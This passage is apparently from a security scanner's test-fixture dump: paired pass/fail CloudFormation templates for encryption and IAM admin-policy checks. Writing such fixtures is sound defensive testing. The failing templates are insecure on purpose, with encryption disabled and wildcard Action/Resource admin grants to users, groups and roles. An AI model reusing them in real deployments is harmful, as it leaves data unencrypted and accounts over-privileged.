Ingress' \n  #        FromPort: 443\n  #        IpProtocol: tcp\n  #        ToPort: 443\n  #        CidrIp: 0.0.0.0/0\nOutputs:\n  DomainArn:\n    Value: !GetAtt ElasticsearchDomain.DomainArn\n  DomainEndpoint:\n    Value: !GetAtt ElasticsearchDomain.DomainEndpoint\n  #SecurityGroupId:\n  #  Value: !Ref mySecurityGroup\n  SubnetId:\n    Value: !Ref subnet\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticsearchNodeToNodeEncryption/ElasticsearchNodeToNodeEncryption-FAILED-2.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: ElasticsearchDomain resource\nParameters:\n  DomainName:\n    Description: User defined Elasticsearch Domain name\n    Type: String\n  ElasticsearchVersion:\n    Description: User defined Elasticsearch Version\n    Type: String\n  InstanceType:\n    Type: String\n  AvailabilityZone:\n    Type: String\n  CidrBlock:\n    Type: String\n    AllowedPattern: '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\\/([0-9]|[1-2][0-9]|3[0-2]))$'\n  #GroupDescription:\n  #  Type: String\n  #SGName:\n  #  Type: String\n  SecurityGroup:\n    Description: Security Group for ALB\n    Type: AWS::EC2::SecurityGroup::Id\n    Default: sg-0123456789abcdefc\nResources:\n  ElasticsearchDomain:\n    Type: AWS::Elasticsearch::Domain\n    Properties:\n      DomainName: !Ref DomainName\n      EncryptionAtRestOptions:\n        Enabled: True\n      ElasticsearchVersion: !Ref ElasticsearchVersion\n      ElasticsearchClusterConfig:\n        InstanceCount: 1\n        InstanceType: !Ref InstanceType\n      EBSOptions:\n        EBSEnabled: True\n        Iops: 0\n        VolumeSize: 10\n        VolumeType: standard\n      SnapshotOptions:\n        AutomatedSnapshotStartHour: 0\n      AccessPolicies:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Deny\n            Principal:\n              AWS: '*'\n            Action: 'es:*'\n            Resource: '*'\n      AdvancedOptions:\n        rest.action.multi.allow_explicit_index: 'true'\n      Tags:\n        - Key: foo\n          Value: bar\n      VPCOptions:\n        SubnetIds:\n          - !Ref subnet\n        SecurityGroupIds:\n          - !Ref SecurityGroup\n          #- !Ref mySecurityGroup\n  vpc:\n    Type: AWS::EC2::VPC\n    Properties:\n      CidrBlock: 10.0.0.0/16\n  subnet:\n    Type: AWS::EC2::Subnet\n    Properties:\n      VpcId: !Ref vpc\n      CidrBlock: !Ref CidrBlock\n      AvailabilityZone: !Ref AvailabilityZone\n  #mySecurityGroup:\n  #  Type: AWS::EC2::SecurityGroup\n  #  Properties:\n  #    GroupDescription: !Ref GroupDescription\n  #    VpcId: !Ref vpc\n  #    GroupName: !Ref SGName\n  #    SecurityGroupIngress:\n  #      - Description: 'HTTP Ingress' \n  #        FromPort: 443\n  #        IpProtocol: tcp\n  #        ToPort: 443\n  #        CidrIp: 0.0.0.0/0\nOutputs:\n  DomainArn:\n    Value: !GetAtt ElasticsearchDomain.DomainArn\n  DomainEndpoint:\n    Value: !GetAtt ElasticsearchDomain.DomainEndpoint\n  #SecurityGroupId:\n  #  Value: !Ref mySecurityGroup\n  SubnetId:\n    Value: !Ref subnet\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticsearchNodeToNodeEncryption/ElasticsearchNodeToNodeEncryption-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: ElasticsearchDomain resource\nParameters:\n  DomainName:\n    Description: User defined Elasticsearch Domain name\n    Type: String\n  ElasticsearchVersion:\n    Description: User defined Elasticsearch Version\n    Type: String\n  InstanceType:\n    Type: String\n  AvailabilityZone:\n    Type: String\n  CidrBlock:\n    Type: String\n    AllowedPattern: '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\\/([0-9]|[1-2][0-9]|3[0-2]))$'\n  #GroupDescription:\n  #  Type: String\n  #SGName:\n  #  Type: String\n  SecurityGroup:\n    Description: Security Group for ALB\n    Type: AWS::EC2::SecurityGroup::Id\n    Default: sg-0123456789abcdefc\nResources:\n  ElasticsearchDomain:\n    Type: AWS::Elasticsearch::Domain\n    Properties:\n      DomainName: !Ref DomainName\n      EncryptionAtRestOptions:\n        #Enabled: False\n        Enabled: True\n      #  KmsKeyId: 1a2a3a4-1a2a-3a4a-5a6a-1a2a3a4a5a6a\n      ##########\n      NodeToNodeEncryptionOptions:\n        Enabled: False\n      #  Enabled: True\n      ElasticsearchVersion: !Ref ElasticsearchVersion\n      ElasticsearchClusterConfig:\n        InstanceCount: 1\n        InstanceType: !Ref InstanceType\n      EBSOptions:\n        EBSEnabled: True\n        Iops: 0\n        VolumeSize: 10\n        VolumeType: standard\n      SnapshotOptions:\n        AutomatedSnapshotStartHour: 0\n      AccessPolicies:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Deny\n            Principal:\n              AWS: '*'\n            Action: 'es:*'\n            Resource: '*'\n      AdvancedOptions:\n        rest.action.multi.allow_explicit_index: 'true'\n      Tags:\n        - Key: foo\n          Value: bar\n      VPCOptions:\n        SubnetIds:\n          - !Ref subnet\n        SecurityGroupIds:\n          - !Ref SecurityGroup\n          #- !Ref mySecurityGroup\n  vpc:\n    Type: AWS::EC2::VPC\n    Properties:\n      CidrBlock: 10.0.0.0/16\n  subnet:\n    Type: AWS::EC2::Subnet\n    Properties:\n      VpcId: !Ref vpc\n      CidrBlock: !Ref CidrBlock\n      AvailabilityZone: !Ref AvailabilityZone\n  #mySecurityGroup:\n  #  Type: AWS::EC2::SecurityGroup\n  #  Properties:\n  #    GroupDescription: !Ref GroupDescription\n  #    VpcId: !Ref vpc\n  #    GroupName: !Ref SGName\n  #    SecurityGroupIngress:\n  #      - Description: 'HTTP Ingress' \n  #        FromPort: 443\n  #        IpProtocol: tcp\n  #        ToPort: 443\n  #        CidrIp: 0.0.0.0/0\nOutputs:\n  DomainArn:\n    Value: !GetAtt ElasticsearchDomain.DomainArn\n  DomainEndpoint:\n    Value: !GetAtt ElasticsearchDomain.DomainEndpoint\n  #SecurityGroupId:\n  #  Value: !Ref mySecurityGroup\n  SubnetId:\n    Value: !Ref subnet\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticsearchNodeToNodeEncryption/ElasticsearchNodeToNodeEncryption-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: ElasticsearchDomain resource\nParameters:\n  DomainName:\n    Description: User defined Elasticsearch Domain name\n    Type: String\n  ElasticsearchVersion:\n    Description: User defined Elasticsearch Version\n    Type: String\n  InstanceType:\n    Type: String\n  AvailabilityZone:\n    Type: String\n  CidrBlock:\n    Type: String\n    AllowedPattern: '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\\/([0-9]|[1-2][0-9]|3[0-2]))$'\n  #GroupDescription:\n  #  Type: String\n  #SGName:\n  #  Type: String\n  SecurityGroup:\n    Description: Security Group for ALB\n    Type: AWS::EC2::SecurityGroup::Id\n    Default: sg-0123456789abcdefc\nResources:\n  ElasticsearchDomain:\n    Type: AWS::Elasticsearch::Domain\n    Properties:\n      DomainName: !Ref DomainName\n      EncryptionAtRestOptions:\n        #Enabled: False\n        Enabled: True\n      #  KmsKeyId: 1a2a3a4-1a2a-3a4a-5a6a-1a2a3a4a5a6a\n      ##########\n      NodeToNodeEncryptionOptions:\n      #  Enabled: False\n        Enabled: True\n      ElasticsearchVersion: !Ref ElasticsearchVersion\n      ElasticsearchClusterConfig:\n        InstanceCount: 1\n        InstanceType: !Ref InstanceType\n      EBSOptions:\n        EBSEnabled: True\n        Iops: 0\n        VolumeSize: 10\n        VolumeType: standard\n      SnapshotOptions:\n        AutomatedSnapshotStartHour: 0\n      AccessPolicies:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Deny\n            Principal:\n              AWS: '*'\n            Action: 'es:*'\n            Resource: '*'\n      AdvancedOptions:\n        rest.action.multi.allow_explicit_index: 'true'\n      Tags:\n        - Key: foo\n          Value: bar\n      VPCOptions:\n        SubnetIds:\n          - !Ref subnet\n        SecurityGroupIds:\n          - !Ref SecurityGroup\n          #- !Ref mySecurityGroup\n  vpc:\n    Type: AWS::EC2::VPC\n    Properties:\n      CidrBlock: 10.0.0.0/16\n  subnet:\n    Type: AWS::EC2::Subnet\n    Properties:\n      VpcId: !Ref vpc\n      CidrBlock: !Ref CidrBlock\n      AvailabilityZone: !Ref AvailabilityZone\n  #mySecurityGroup:\n  #  Type: AWS::EC2::SecurityGroup\n  #  Properties:\n  #    GroupDescription: !Ref GroupDescription\n  #    VpcId: !Ref vpc\n  #    GroupName: !Ref SGName\n  #    SecurityGroupIngress:\n  #      - Description: 'HTTP Ingress' \n  #        FromPort: 443\n  #        IpProtocol: tcp\n  #        ToPort: 443\n  #        CidrIp: 0.0.0.0/0\nOutputs:\n  DomainArn:\n    Value: !GetAtt ElasticsearchDomain.DomainArn\n  DomainEndpoint:\n    Value: !GetAtt ElasticsearchDomain.DomainEndpoint\n  #SecurityGroupId:\n  #  Value: !Ref mySecurityGroup\n  SubnetId:\n    Value: !Ref subnet\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_GlueDataCatalogEncryption/GlueDataCatalogEncryption-FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::Glue::DataCatalogEncryptionSettings'\n    Properties:\n      CatalogId: \"CatalogId\"\n      DataCatalogEncryptionSettings:\n        ConnectionPasswordEncryption:\n          KmsKeyId: \"KmsKeyId\"\n          ReturnConnectionPasswordEncrypted: True\n        EncryptionAtRest:\n          CatalogEncryptionMode: \"Disabled\"\n          SseAwsKmsKeyId: \"SseAwsKmsKeyId\"\n  Resource1:\n    Type: 'AWS::Glue::DataCatalogEncryptionSettings'\n    Properties:\n      CatalogId: \"CatalogId\"\n      DataCatalogEncryptionSettings:\n        ConnectionPasswordEncryption:\n          KmsKeyId: \"KmsKeyId\"\n          ReturnConnectionPasswordEncrypted: False\n  Resource2:\n    Type: 'AWS::Glue::DataCatalogEncryptionSettings'\n    Properties:\n      CatalogId: \"CatalogId\"\n      DataCatalogEncryptionSettings:\n        EncryptionAtRest:\n          CatalogEncryptionMode: \"Disabled\"\n          SseAwsKmsKeyId: \"SseAwsKmsKeyId\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_GlueDataCatalogEncryption/GlueDataCatalogEncryption-PASSED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::Glue::DataCatalogEncryptionSettings'\n    Properties:\n      CatalogId: \"CatalogId\"\n      DataCatalogEncryptionSettings:\n        ConnectionPasswordEncryption:\n          KmsKeyId: \"KmsKeyId\"\n          ReturnConnectionPasswordEncrypted: True\n        EncryptionAtRest:\n          CatalogEncryptionMode: \"SSE-KMS\"\n          SseAwsKmsKeyId: \"SseAwsKmsKeyId\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_GlueSecurityConfiguration/GlueSecurityConfiguration-FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: AWS::Glue::SecurityConfiguration\n    Properties:\n      Name: Name\n      EncryptionConfiguration:\n        CloudWatchEncryption: \n          CloudWatchEncryptionMode: DISABLED\n          KmsKeyArn: KmsKeyArn\n        JobBookmarksEncryption: \n          JobBookmarksEncryptionMode: CSE-KMS\n          KmsKeyArn: KmsKeyArn\n        S3Encryptions: \n        - KmsKeyArn: KmsKeyArn\n          S3EncryptionMode: SSE-KMS\n  Resource1:\n    Type: AWS::Glue::SecurityConfiguration\n    Properties:\n      Name: Name\n      EncryptionConfiguration:\n        CloudWatchEncryption: \n          CloudWatchEncryptionMode: DISABLED\n          KmsKeyArn: KmsKeyArn\n        JobBookmarksEncryption: \n          JobBookmarksEncryptionMode: DISABLED\n          KmsKeyArn: KmsKeyArn\n        S3Encryptions: \n        - KmsKeyArn: KmsKeyArn\n          S3EncryptionMode: DISABLED\n  Resource2:\n    Type: AWS::Glue::SecurityConfiguration\n    Properties:\n      Name: Name\n      EncryptionConfiguration:\n        CloudWatchEncryption: \n          CloudWatchEncryptionMode: SSE-KMS\n          KmsKeyArn: KmsKeyArn\n        JobBookmarksEncryption: \n          JobBookmarksEncryptionMode: CSE-KMS\n          KmsKeyArn: KmsKeyArn\n  Resource3:\n    Type: AWS::Glue::SecurityConfiguration\n    Properties:\n      Name: Name\n      EncryptionConfiguration:\n        S3Encryptions: \n        - KmsKeyArn: DISABLED\n          S3EncryptionMode: SSE-KMS\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_GlueSecurityConfiguration/GlueSecurityConfiguration-PASSED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: AWS::Glue::SecurityConfiguration\n    Properties:\n      Name: Name\n      EncryptionConfiguration:\n        CloudWatchEncryption: \n          CloudWatchEncryptionMode: SSE-KMS\n          KmsKeyArn: KmsKeyArn\n        JobBookmarksEncryption: \n          JobBookmarksEncryptionMode: CSE-KMS\n          KmsKeyArn: KmsKeyArn\n        S3Encryptions: \n        - KmsKeyArn: KmsKeyArn\n          S3EncryptionMode: SSE-KMS\n  Resource1:\n    Type: AWS::Glue::SecurityConfiguration\n    Properties:\n      Name: Name\n      EncryptionConfiguration:\n        CloudWatchEncryption:\n          CloudWatchEncryptionMode: SSE-KMS\n          KmsKeyArn: KmsKeyArn\n        JobBookmarksEncryption:\n          JobBookmarksEncryptionMode: CSE-KMS\n          KmsKeyArn: KmsKeyArn\n        S3Encryptions:\n          KmsKeyArn: KmsKeyArn\n          S3EncryptionMode: SSE-KMS"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_GlueSecurityConfigurationEnabled/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  CrawlerDefault:\n    Type: AWS::Glue::Crawler\n    Properties:\n      Name: example\n      Role: arn:aws:iam::123456789012:role/role\n      Targets:\n        S3Targets:\n          - Path: s3-bucket\n  DevEndpointDefault:\n    Type: AWS::Glue::DevEndpoint\n    Properties:\n      EndpointName: example\n      RoleArn: arn:aws:iam::123456789012:role/role\n  JobDefault:\n    Type: AWS::Glue::Job\n    Properties:\n      Command:\n        Name: glueetl\n        ScriptLocation: s3://aws-glue-scripts//prod-job\n      Name: example\n      Role: arn:aws:iam::123456789012:role/role\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_GlueSecurityConfigurationEnabled/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  CrawlerEnabled:\n    Type: AWS::Glue::Crawler\n    Properties:\n      Name: example\n      Role: arn:aws:iam::123456789012:role/role\n      Targets:\n        S3Targets:\n          - Path: s3-bucket\n      CrawlerSecurityConfiguration: security-conf\n  DevEndpointEnabled:\n    Type: AWS::Glue::DevEndpoint\n    Properties:\n      EndpointName: example\n      RoleArn: arn:aws:iam::123456789012:role/role\n      SecurityConfiguration: security-conf\n  JobEnabled:\n    Type: AWS::Glue::Job\n    Properties:\n      Command:\n        Name: glueetl\n        ScriptLocation: s3://aws-glue-scripts//prod-job\n      Name: example\n      Role: arn:aws:iam::123456789012:role/role\n      SecurityConfiguration: security-conf\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_group.fail.json",
    "content": "{\n  \"AWSTemplateFormatVersion\": \"2010-09-09\",\n  \"Description\": \"Insecure Inline policy on Group\",\n  \"Resources\": {\n    \"mygroup\": {\n      \"Type\": \"AWS::IAM::Group\",\n      \"Properties\": {\n        \"Path\": \"/myapplication/\",\n        \"Policies\": [\n          {\n            \"PolicyName\": \"fails\",\n            \"PolicyDocument\": {\n              \"Statement\": [\n                {\n                  \"Action\": [\n                    \"s3:HeadBucket\",\n                    \"*\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": [\n                    \"arn:aws:s3:::b1\",\n                    \"arn:aws:s3:::b1/*\",\n                    \"*\"\n                  ],\n                  \"Sid\": \"\"\n                }\n              ],\n              \"Version\": \"2012-10-17\"\n            }\n          }\n        ]\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_group.pass.json",
    "content": "{\n  \"AWSTemplateFormatVersion\": \"2010-09-09\",\n  \"Description\": \"Create a variable number of IAM resources.\",\n  \"Resources\": {\n    \"mygroup\": {\n      \"Type\": \"AWS::IAM::Group\",\n      \"Properties\": {\n        \"Path\": \"/myapplication/\",\n        \"Policies\": [\n          {\n            \"PolicyName\": \"fails\",\n            \"PolicyDocument\": {\n              \"Statement\": [\n                {\n                  \"Action\": [\n                    \"s3:ListBucket*\",\n                    \"s3:HeadBucket\",\n                    \"s3:Get*\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": [\n                    \"arn:aws:s3:::b1\",\n                    \"arn:aws:s3:::b1/*\",\n                    \"arn:aws:s3:::b2\",\n                    \"arn:aws:s3:::b2/*\"\n                  ],\n                  \"Sid\": \"\"\n                },\n                {\n                  \"Action\": \"s3:PutObject*\",\n                  \"Effect\": \"Allow\",\n                  \"Resource\": \"arn:aws:s3:::b1/*\",\n                  \"Sid\": \"\"\n                }\n              ],\n              \"Version\": \"2012-10-17\"\n            }\n          }\n        ]\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_policy.fail.json",
    "content": "{\n  \"AWSTemplateFormatVersion\": \"2010-09-09\",\n  \"Description\": \"Create a variable number of IAM resources.\",\n  \"Resources\": {\n    \"NEWPolicy\": {\n      \"Type\": \"AWS::IAM::Policy\",\n      \"Properties\": {\n        \"PolicyName\": \"CFNUsers\",\n        \"PolicyDocument\": {\n          \"Statement\": [\n            {\n              \"Action\": [\n                \"s3:HeadBucket\",\n                \"*\"\n              ],\n              \"Effect\": \"Allow\",\n              \"Resource\": [\n                \"arn:aws:s3:::b1\",\n                \"arn:aws:s3:::b1/*\",\n                \"*\"\n              ],\n              \"Sid\": \"\"\n            }\n          ],\n          \"Version\": \"2012-10-17\"\n        },\n        \"Groups\": [\n          {\n            \"Ref\": \"CFNUserGroup\"\n          }\n        ]\n      }\n    },\n    \"CFNUserGroup\": {\n      \"Type\": \"AWS::IAM::Group\",\n      \"Properties\": {\n        \"Path\": \"/myapplication/\",\n        \"Policies\": []\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_policy.pass.json",
    "content": "{\n  \"AWSTemplateFormatVersion\": \"2010-09-09\",\n  \"Description\": \"Create a variable number of IAM resources.\",\n  \"Resources\": {\n    \"NEWPolicy\": {\n      \"Type\": \"AWS::IAM::Policy\",\n      \"Properties\": {\n        \"PolicyName\": \"CFNUsers\",\n        \"PolicyDocument\": {\n          \"Statement\": [\n            {\n              \"Action\": [\n                \"s3:ListBucket*\",\n                \"s3:HeadBucket\",\n                \"s3:Get*\"\n              ],\n              \"Effect\": \"Allow\",\n              \"Resource\": [\n                \"arn:aws:s3:::b1\",\n                \"arn:aws:s3:::b1/*\",\n                \"arn:aws:s3:::b2\",\n                \"arn:aws:s3:::b2/*\"\n              ],\n              \"Sid\": \"\"\n            },\n            {\n              \"Action\": \"s3:PutObject*\",\n              \"Effect\": \"Allow\",\n              \"Resource\": \"arn:aws:s3:::b1/*\",\n              \"Sid\": \"\"\n            }\n          ],\n          \"Version\": \"2012-10-17\"\n        },\n        \"Groups\": [\n          {\n            \"Ref\": \"CFNUserGroup\"\n          }\n        ]\n      }\n    },\n    \"CFNUserGroup\": {\n      \"Type\": \"AWS::IAM::Group\",\n      \"Properties\": {\n        \"Path\": \"/myapplication/\",\n        \"Policies\": []\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_role.fail.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Resources\": {\n        \"RootRole\": {\n            \"Type\": \"AWS::IAM::Role\",\n            \"Properties\": {\n                \"AssumeRolePolicyDocument\": {\n                    \"Version\": \"2012-10-17\",\n                    \"Statement\": [\n                        {\n                            \"Effect\": \"Allow\",\n                            \"Principal\": {\n                                \"Service\": [\n                                    \"ec2.amazonaws.com\"\n                                ]\n                            },\n                            \"Action\": [\n                                \"sts:AssumeRole\"\n                            ]\n                        }\n                    ]\n                },\n                \"Path\": \"/\",\n                \"Policies\": [\n                    {\n                        \"PolicyName\": \"root\",\n                        \"PolicyDocument\": {\n                            \"Version\": \"2012-10-17\",\n                            \"Statement\": [\n                                {\n                                    \"Effect\": \"Allow\",\n                                    \"Action\": \"*\",\n                                    \"Resource\": \"*\"\n                                }\n                            ]\n                        }\n                    }\n                ]\n            }\n        },\n        \"RootInstanceProfile\": {\n            \"Type\": \"AWS::IAM::InstanceProfile\",\n            \"Properties\": {\n                \"Path\": \"/\",\n                \"Roles\": [\n                    {\n                        \"Ref\": \"RootRole\"\n                    }\n                ]\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_role.pass.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Resources\": {\n        \"RootRole\": {\n            \"Type\": \"AWS::IAM::Role\",\n            \"Properties\": {\n                \"AssumeRolePolicyDocument\": {\n                    \"Version\": \"2012-10-17\",\n                    \"Statement\": [\n                        {\n                            \"Effect\": \"Allow\",\n                            \"Principal\": {\n                                \"Service\": [\n                                    \"ec2.amazonaws.com\"\n                                ]\n                            },\n                            \"Action\": [\n                                \"sts:AssumeRole\"\n                            ]\n                        }\n                    ]\n                },\n                \"Path\": \"/\",\n                \"Policies\": [\n                    {\n                        \"PolicyName\": \"root\",\n                        \"PolicyDocument\": {\n                            \"Statement\": [\n                              {\n                                \"Action\": [\n                                  \"s3:ListBucket*\",\n                                  \"s3:HeadBucket\",\n                                  \"s3:Get*\"\n                                ],\n                                \"Effect\": \"Allow\",\n                                \"Resource\": [\n                                  \"arn:aws:s3:::b1\",\n                                  \"arn:aws:s3:::b1/*\",\n                                  \"arn:aws:s3:::b2\",\n                                  \"arn:aws:s3:::b2/*\"\n                                ],\n                                \"Sid\": \"\"\n                              },\n                              {\n                                \"Action\": \"s3:PutObject*\",\n                                \"Effect\": \"Allow\",\n                                \"Resource\": \"arn:aws:s3:::b1/*\",\n                                \"Sid\": \"\"\n                              }\n                            ],\n                            \"Version\": \"2012-10-17\"\n                          }\n                    }\n                ]\n            }\n        },\n        \"RootInstanceProfile\": {\n            \"Type\": \"AWS::IAM::InstanceProfile\",\n            \"Properties\": {\n                \"Path\": \"/\",\n                \"Roles\": [\n                    {\n                        \"Ref\": \"RootRole\"\n                    }\n                ]\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_role.unknown.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\n\n\nConditions:\n  CreateExecPolicy: !Equals [0, 0]\n\nResources:\n  ExecRole:\n    Type: AWS::IAM::Role\n    Properties:\n      Path: /\n      AssumeRolePolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Principal:\n              Service:\n                - ec2.amazonaws.com\n            Action:\n              - 'sts:AssumeRole'\n      Policies: !If\n        - CreateExecPolicy\n        - - PolicyName: root\n            PolicyDocument: !Sub |\n              { \"Version\": \"2012-10-17\", \"Statement\": [\n                {\n                  \"Effect\": \"Allow\",\n                  \"Action\": \"*\",\n                  \"Resource\": \"*\"\n                }\n              ]}\n        - !Ref AWS::NoValue\n\n  CFNUserGroup:\n    Type: AWS::IAM::Group\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_user.fail.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Metadata\": {\n        \"License\": \"Apache-2.0\"\n    },\n    \"Description\": \"AWS CloudFormation Sample Template IAM_Users_Groups_and_Policies: Sample template showing how to create IAM users, groups and policies. It creates a single user that is a member of a users group and an admin group. The groups each have different IAM policies associated with them. Note: This example also creates an AWSAccessKeyId/AWSSecretKey pair associated with the new user. The example is somewhat contrived since it creates all of the users and groups, typically you would be creating policies, users and/or groups that contain references to existing users or groups in your environment. Note that you will need to specify the CAPABILITY_IAM flag when you create the stack to allow this template to execute. You can do this through the AWS management console by clicking on the check box acknowledging that you understand this template creates IAM resources or by specifying the CAPABILITY_IAM flag to the cfn-create-stack command line tool or CreateStack API call.\",\n    \"Parameters\": {\n        \"Password\": {\n            \"NoEcho\": \"true\",\n            \"Type\": \"String\",\n            \"Description\": \"New account password\",\n            \"MinLength\": \"1\",\n            \"MaxLength\": \"41\",\n            \"ConstraintDescription\": \"the password must be between 1 and 41 characters\"\n        }\n    },\n    \"Resources\": {\n        \"CFNUser\": {\n            \"Type\": \"AWS::IAM::User\",\n            \"Properties\": {\n                \"LoginProfile\": {\n                    \"Password\": {\n                        \"Ref\": \"Password\"\n                    }\n                },\n                \"Policies\": [\n                    {\n                        \"PolicyName\": \"root\",\n                        \"PolicyDocument\": {\n                          \"Statement\": [\n                            {\n                              \"Action\": [\n                                \"s3:HeadBucket\",\n                                \"*\"\n                              ],\n                              \"Effect\": \"Allow\",\n                              \"Resource\": [\n                                \"arn:aws:s3:::b1\",\n                                \"arn:aws:s3:::b1/*\",\n                                \"*\"\n                              ],\n                              \"Sid\": \"\"\n                            }\n                          ],\n                          \"Version\": \"2012-10-17\"\n                        }\n                    }\n                ]\n            }\n        }\n    }\n    \n}"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMAdminPolicyDocument/iam_user.pass.json",
    "content": "{\n    \"AWSTemplateFormatVersion\": \"2010-09-09\",\n    \"Metadata\": {\n        \"License\": \"Apache-2.0\"\n    },\n    \"Description\": \"AWS CloudFormation Sample Template IAM_Users_Groups_and_Policies: Sample template showing how to create IAM users, groups and policies. It creates a single user that is a member of a users group and an admin group. The groups each have different IAM policies associated with them. Note: This example also creates an AWSAccessKeyId/AWSSecretKey pair associated with the new user. The example is somewhat contrived since it creates all of the users and groups, typically you would be creating policies, users and/or groups that contain references to existing users or groups in your environment. Note that you will need to specify the CAPABILITY_IAM flag when you create the stack to allow this template to execute. You can do this through the AWS management console by clicking on the check box acknowledging that you understand this template creates IAM resources or by specifying the CAPABILITY_IAM flag to the cfn-create-stack command line tool or CreateStack API call.\",\n    \"Parameters\": {\n        \"Password\": {\n            \"NoEcho\": \"true\",\n            \"Type\": \"String\",\n            \"Description\": \"New account password\",\n            \"MinLength\": \"1\",\n            \"MaxLength\": \"41\",\n            \"ConstraintDescription\": \"the password must be between 1 and 41 characters\"\n        }\n    },\n    \"Resources\": {\n        \"CFNUser\": {\n            \"Type\": \"AWS::IAM::User\",\n            \"Properties\": {\n                \"LoginProfile\": {\n                    \"Password\": {\n                        \"Ref\": \"Password\"\n                    }\n                },\n                \"Policies\": [\n                    {\n                        \"PolicyName\": \"root\",\n                        \"PolicyDocument\": {\n                            \"Statement\": [\n                              {\n                                \"Action\": [\n                                  \"s3:ListBucket*\",\n                                  \"s3:HeadBucket\",\n                                  \"s3:Get*\"\n                                ],\n                                \"Effect\": \"Allow\",\n                                \"Resource\": [\n                                  \"arn:aws:s3:::b1\",\n                                  \"arn:aws:s3:::b1/*\",\n                                  \"arn:aws:s3:::b2\",\n                                  \"arn:aws:s3:::b2/*\"\n                                ],\n                                \"Sid\": \"\"\n                              },\n                              {\n                                \"Action\": \"s3:PutObject*\",\n                                \"Effect\": \"Allow\",\n                                \"Resource\": \"arn:aws:s3:::b1/*\",\n                                \"Sid\": \"\"\n                              }\n                            ],\n                            \"Version\": \"2012-10-17\"\n                          }\n                    }\n                ]\n            }\n        }\n    }\n    \n}"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMPolicyAttachedToGroupOrRoles/IAMPolicyAttachedToGroupOrRoles-FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: IAM policy\nResources:\n  ExamplePolicy:\n    Type: 'AWS::IAM::Policy'\n    Properties:\n      PolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: '*'\n            Resource: '*'\n      Roles:\n        - example_role\n      Users:\n        - admin\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMPolicyAttachedToGroupOrRoles/IAMPolicyAttachedToGroupOrRoles-PASSED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: IAM policy\nResources:\n  ExamplePolicy:\n    Type: 'AWS::IAM::Policy'\n    Properties:\n      PolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: '*'\n            Resource: '*'\n      Roles:\n        - example_role"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMRoleAllowAssumeFromAccount/UNKNOWN.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: A sample template\nResources:\n  ## Missing Properties\n  MyEC2Instance1:\n    Type: \"AWS::EC2::Instance1\"\n  myIamProfile:\n    Type: \"AWS::IAM::Role\"\n"
  },
  {
